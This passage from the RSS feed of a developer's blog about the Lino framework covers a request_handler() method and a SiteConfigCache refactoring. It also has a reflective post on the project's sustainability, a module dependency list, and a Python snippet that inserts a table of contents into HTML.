&lt;p class="attribution"&gt;—&lt;a class="reference external" href="https://www.debian.org/releases/trixie/release-notes/issues.en.html"&gt;https://www.debian.org/releases/trixie/release-notes/issues.en.html&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;&lt;/blockquote&gt;
&lt;p&gt;I still don’t believe that our problem is caused by a read-only filesystem, I
still believe that the warning “Read-only file system” is not an original
message from the operating system but actually means “permission denied”.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2026/0118.html</guid><pubDate>Sun, 18 Jan 2026 00:00:00 +0000</pubDate></item><item><title>Wednesday, January 14, 2026</title><link>https://luc.lino-framework.org/blog/2026/0114.html</link><description>&lt;section id="wednesday-january-14-2026"&gt;
&lt;h1&gt;Wednesday, January 14, 2026&lt;a class="headerlink" href="#wednesday-january-14-2026" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;section id="the-request-handler-method"&gt;
&lt;h2&gt;The &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;request_handler()&lt;/span&gt;&lt;/code&gt; method&lt;a class="headerlink" href="#the-request-handler-method" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;The &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;request_handler()&lt;/span&gt;&lt;/code&gt; method of an action request builds and returns the
Javascript code that would execute this request on the client.&lt;/p&gt;
&lt;p&gt;It obviously depends on the front-end renderer. The publisher renderer returns
&lt;cite&gt;None&lt;/cite&gt;.&lt;/p&gt;
&lt;p&gt;It is needed by &lt;cite&gt;WrappedAction&lt;/cite&gt;, &lt;cite&gt;ShowSlaveTable&lt;/cite&gt;,  &lt;cite&gt;RequestFieldElement&lt;/cite&gt;,
&lt;cite&gt;Renderer.href_to_request()&lt;/cite&gt;. It is also needed by ShowSuggestions or
ShowEntriesByDay, which are similar to ShowSlaveTable&lt;/p&gt;
&lt;p&gt;It is needed by WrappedAction to build the URI for an action at runtime:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="k"&gt;class&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nc"&gt;WrappedAction&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;Action&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
  &lt;span class="o"&gt;...&lt;/span&gt;
  &lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;run_from_ui&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="o"&gt;**&lt;/span&gt;&lt;span class="n"&gt;kw&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
      &lt;span class="n"&gt;sar&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="bp"&gt;self&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;bound_action&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request_from&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="n"&gt;js&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;renderer&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;request_handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;sar&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
      &lt;span class="n"&gt;ar&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;set_response&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;eval_js&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;js&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;WrappedAction is a kind of dynamic URL, it does nothing but return a Javascript
snippet to be executed on the client.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;WrappedAction&lt;/span&gt;&lt;/code&gt; class is used:&lt;/p&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;by &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;QuickLinksList&lt;/span&gt;&lt;/code&gt; (the class of the
object sitting on &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;settings.SITE.quicklinks&lt;/span&gt;&lt;/code&gt;)&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;by custom implementations of &lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;collect_extra_actions()&lt;/span&gt;&lt;/code&gt;, e.g. the “Pretty
view” action on a blog entry, the “Import from VCard” action on a partner, or
the actions used by the calendar view to switch between daily, weekly and
monthly view.&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2026/0114.html</guid><pubDate>Wed, 14 Jan 2026 00:00:00 +0000</pubDate></item><item><title>Sunday, January 4, 2026</title><link>https://luc.lino-framework.org/blog/2026/0104.html</link><description>&lt;section id="sunday-january-4-2026"&gt;
&lt;h1&gt;Sunday, January 4, 2026&lt;a class="headerlink" href="#sunday-january-4-2026" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;The &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;site_config&lt;/span&gt;&lt;/code&gt; property is now defined on the new
&lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;SiteConfigCache&lt;/span&gt;&lt;/code&gt; class, which is inherited by &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;Site&lt;/span&gt;&lt;/code&gt; as before,
and also by &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;User&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-class docutils literal notranslate"&gt;&lt;span class="pre"&gt;AnonymousUser&lt;/span&gt;&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;config_id&lt;/span&gt;&lt;/code&gt; attribute is renamed to &lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;tenant_id&lt;/span&gt;&lt;/code&gt;.
This corresponds to the value of the
&lt;code class="xref py py-attr docutils literal notranslate"&gt;&lt;span class="pre"&gt;SiteConfig.id&lt;/span&gt;&lt;/code&gt;.
The default &lt;cite&gt;tenant_id&lt;/cite&gt; is 1.&lt;/p&gt;
&lt;p&gt;On a multi-tenant site, &lt;cite&gt;User.tenant_id&lt;/cite&gt; will become a database field.&lt;/p&gt;
&lt;p&gt;The &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;today()&lt;/span&gt;&lt;/code&gt;, &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;atoday()&lt;/span&gt;&lt;/code&gt; and &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;now()&lt;/span&gt;&lt;/code&gt; functions are also on the new
SiteConfigCache class.&lt;/p&gt;
&lt;p&gt;But we keep a limited version of &lt;code class="xref py py-func docutils literal notranslate"&gt;&lt;span class="pre"&gt;today()&lt;/span&gt;&lt;/code&gt;, that does not consider
SiteConfig, because we use it e.g. in lino.modlib.system.mixins:&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;update_field&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;RecurrenceSet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;start_date&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;default&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;dd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;today&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;A callable field default value must be serializable, so it cannot depend on the
tenant.&lt;/p&gt;
&lt;p&gt;We no longer install a signal handler that calls Site.clear_site_config() when
setting_changed, testcase_setup, connection_created or post_migrate are emitted.&lt;/p&gt;
&lt;p&gt;&lt;code class="xref py py-meth docutils literal notranslate"&gt;&lt;span class="pre"&gt;BuildMethods.get_system_default()&lt;/span&gt;&lt;/code&gt; no longer looks up SiteConfig, but
the new SiteConfigCache.get_printing_build_method does this.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2026/0104.html</guid><pubDate>Sun, 04 Jan 2026 00:00:00 +0000</pubDate></item><item><title>Waiting for a miracle</title><link>https://luc.lino-framework.org/blog/2025/1214.html</link><description>&lt;section id="waiting-for-a-miracle"&gt;
&lt;h1&gt;Waiting for a miracle&lt;a class="headerlink" href="#waiting-for-a-miracle" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Sunday, December 14, 2025&lt;/p&gt;
&lt;p&gt;Last month brought at least four sad pieces of news for Lino:&lt;/p&gt;
&lt;p&gt;Noémy decided, after a promising first meeting, to &lt;em&gt;not&lt;/em&gt; start using Lino. The
obvious reason is the bus factor: their Lino site would have more than 200
users, and they can’t put such a responsibility on the shoulders of a
almost-one-man project.&lt;/p&gt;
&lt;p&gt;Sharif wants to immigrate to Europe, together with his wife. Which means that he
will be lost for Lino because I cannot afford a European salary for him. Of
course he will find a job, sooner or later, because he is good.  He’s both
intelligent and able to work in a team. I endorse him. I recommended him to
Thorgate, who were reluctant at first because an immigrant means administrative
effort for them, but upon my word they reconsidered the case and invited him to
a job interview. Sharif sincerely plans to continue working for Lino at the
weekends, but I know how it will go: after 40 hours staring at a screen he will
prefer doing things with his wife and their children. At least I hope that he
will. I would worry if he wouldn’t. Today I rose priority for ticket
&lt;a class="extlink-ticket reference external" href="https://jane.mylino.net/#/api/tickets/AllTickets/5239"&gt;#5239&lt;/a&gt; (Document &amp;amp; test the React front end) on his to-do list. This
ticket becomes urgent because his first job interview will be next Friday, and
things could get out of hand quickly if Thorgate decide to engage him.&lt;/p&gt;
&lt;p&gt;Astrid had been planning to to work a few hours per week for Lino, besides her
full-time job as a mother of three children. But two days ago she heard that she
will need to find a “real” job in January 2026 because the Estonian government
“optimized” the rules about paying health insurance for parents and  no longer
considers her a full-time mother.&lt;/p&gt;
&lt;p&gt;Andres introduced me to a potential new Lino user, and during the meeting it
turned out that publishing the source code is not an option for them. They were
unable to understand why proprietary software is not an option for me.  I spent
multiple hours with Andres to explain him the Synodalsoft vision and why I’m
doing Lino. But people don’t believe that software should be free.&lt;/p&gt;
&lt;p&gt;As a result, I currently feel a bit resigned: I failed to bring Synodalsoft to
the next level. The Synodalsoft vision was too big for a single human life. And
I was not enough of a manager for such a big vision. It is not enough to publish
all your software under the &lt;em&gt;GNU Affero General Public License&lt;/em&gt; (AGPL) (as I
wrote in &lt;a class="reference external" href="https://www.saffre-rumma.net/lsf"&gt;The Synodalsoft project&lt;/a&gt;); if you
want your intellectual work to be “sustainably free, usable for everybody and
forever”, you also need to do the administrative stuff of institutionalizing
yourself. Software needs more than a human, it also needs legal person to care
for it. When I will be gone, Lino will be just be an orphaned software project,
and there is nothing I can do about it, except keep watching out for a miracle,
which includes doing my best for providing perfect service to my customers.&lt;/p&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/1214.html</guid><pubDate>Sun, 14 Dec 2025 00:00:00 +0000</pubDate></item><item><title>Tuesday, November 25, 2025</title><link>https://luc.lino-framework.org/blog/2025/1125.html</link><description>&lt;section id="tuesday-november-25-2025"&gt;
&lt;h1&gt;Tuesday, November 25, 2025&lt;a class="headerlink" href="#tuesday-november-25-2025" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;ul class="simple"&gt;
&lt;li&gt;&lt;p&gt;fields needs params, actions, actors, vfields, fakefield, basefields&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;elems needs layouts&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;utils needs atable&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;atable needs actors&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;frames needs actors&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;actors needs params, layouts, fields&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;actions needs layouts, choosers, params&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;layouts needs vfields, fakefield, store&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;store needs fakefield, vfields, storefields, atomizer&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;atomizer needs basefields, utils, storefields&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;basefields needs fakefield, vfields&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;storefields needs fakefield, vfields, actions&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;choosers needs vfields, dbutils&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;vfields needs fakefield, basefields&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;basefields needs&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;fakefield needs dbutils&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;dbutils needs nothing&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;&lt;p&gt;params needs nothing&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/section&gt;
</description><guid isPermaLink="false">https://luc.lino-framework.org/blog/2025/1125.html</guid><pubDate>Tue, 25 Nov 2025 00:00:00 +0000</pubDate></item><item><title>Insert a local table of contents into a HTML page</title><link>https://luc.lino-framework.org/blog/2025/1031.html</link><description>&lt;section id="insert-a-local-table-of-contents-into-a-html-page"&gt;
&lt;h1&gt;Insert a local table of contents into a HTML page&lt;a class="headerlink" href="#insert-a-local-table-of-contents-into-a-html-page" title="Link to this heading"&gt;¶&lt;/a&gt;&lt;/h1&gt;
&lt;p&gt;Friday, October 31, 2025.&lt;/p&gt;
&lt;p&gt;How to insert a local table of contents into a HTML page?  Except for some basic
examples I couldn’t find something that actually inserts the TOC in a marked
place, complete with backlinks, and later updates that TOC.&lt;/p&gt;
&lt;div class="highlight-default notranslate"&gt;&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;difflib&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;Differ&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nn"&gt;lino.utils.soup&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;sanitized_soup&lt;/span&gt;

&lt;span class="n"&gt;TOC_MARKER&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;=TOC_HERE=&amp;quot;&lt;/span&gt;
&lt;span class="n"&gt;html&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="s2"&gt;&amp;lt;html&amp;gt;&amp;lt;body&amp;gt;&amp;lt;p&amp;gt;This page is an example.&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;&amp;lt;p&amp;gt;=TOC_HERE=&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;&amp;lt;h1&amp;gt;First approach&amp;lt;/h1&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;&amp;lt;p&amp;gt;The first approach has 2 steps&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;&amp;lt;h2&amp;gt;First&amp;lt;/h2&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;&amp;lt;p&amp;gt;In a &amp;lt;b&amp;gt;first&amp;lt;/b&amp;gt; step ...&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;&amp;lt;h2&amp;gt;Second&amp;lt;/h2&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;&amp;lt;p&amp;gt;In a second step ...&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;&amp;lt;h1&amp;gt;Second approach&amp;lt;/h1&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;&amp;lt;h2&amp;gt;Third&amp;lt;/h2&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;&amp;lt;p&amp;gt;In a third step ...&amp;lt;/p&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;&amp;lt;h2&amp;gt;Fourth&amp;lt;/h2&amp;gt;&lt;/span&gt;
&lt;span class="s2"&gt;&amp;lt;p&amp;gt;In a fourth step ...&amp;lt;/p&amp;gt;&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&amp;quot;&amp;quot;&amp;quot;&lt;/span&gt;


&lt;span class="k"&gt;def&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;add_toc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;toc_tag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;
    &lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;
    &lt;span class="n"&gt;soup&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;sanitized_soup&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;tag&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;children&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="c1"&gt;# print(f&amp;quot;Oops: {repr(tag)}&amp;quot;)&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;
        &lt;span class="n"&gt;tag_name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;lower&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;tag_name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;div&amp;quot;&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;contents&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;toc_tag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tag&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt; &lt;span class="ow"&gt;and&lt;/span&gt; &lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;strip&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;TOC_MARKER&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;name&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s1"&gt;&amp;#39;div&amp;#39;&lt;/span&gt;
            &lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;clear&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
            &lt;span class="n"&gt;toc_tag&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;tag&lt;/span&gt;
            &lt;span class="k"&gt;continue&lt;/span&gt;
        &lt;span class="k"&gt;elif&lt;/span&gt; &lt;span class="n"&gt;tag_name&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;h1&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;tag&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="c1"&gt;# todo add an anchor and a backlink&lt;/span&gt;
            &lt;span class="c1"&gt;# if tag.contents[-1].name == &amp;quot;a&amp;quot;&lt;/span&gt;
            &lt;span class="c1"&gt;# &amp;lt;a class=&amp;quot;headerlink&amp;quot; href=&amp;quot;#kuhu-minna&amp;quot; title=&amp;quot;Link to this heading&amp;quot;&amp;gt;¶&amp;lt;/a&amp;gt;&lt;/span&gt;

    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;toc_tag&lt;/span&gt; &lt;span class="ow"&gt;is&lt;/span&gt; &lt;span class="ow"&gt;not&lt;/span&gt; &lt;span class="kc"&gt;None&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;toc_tag&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;id&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;contents&amp;quot;&lt;/span&gt;
        &lt;span class="n"&gt;ul&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new_tag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;ul&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;h&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;headers&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
            &lt;span class="n"&gt;ul&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;new_tag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;li&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;string&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
            &lt;span class="n"&gt;toc_tag&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;append&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ul&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

    &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;soup&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;


&lt;span class="n"&gt;html2&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;add_toc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="n"&gt;html3&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;add_toc&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;html2&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="n"&gt;html3&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
    &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;Oops there are differences:&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;d&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;Differ&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
    &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;ln&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="n"&gt;d&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;compare&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;html2&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;splitlines&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;html3&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;splitlines&lt;/span&gt;&lt;span class="p"&gt;()):&lt;/span&gt;
        &lt;span class="nb"&gt;print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ln&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;
&lt;/div&gt;
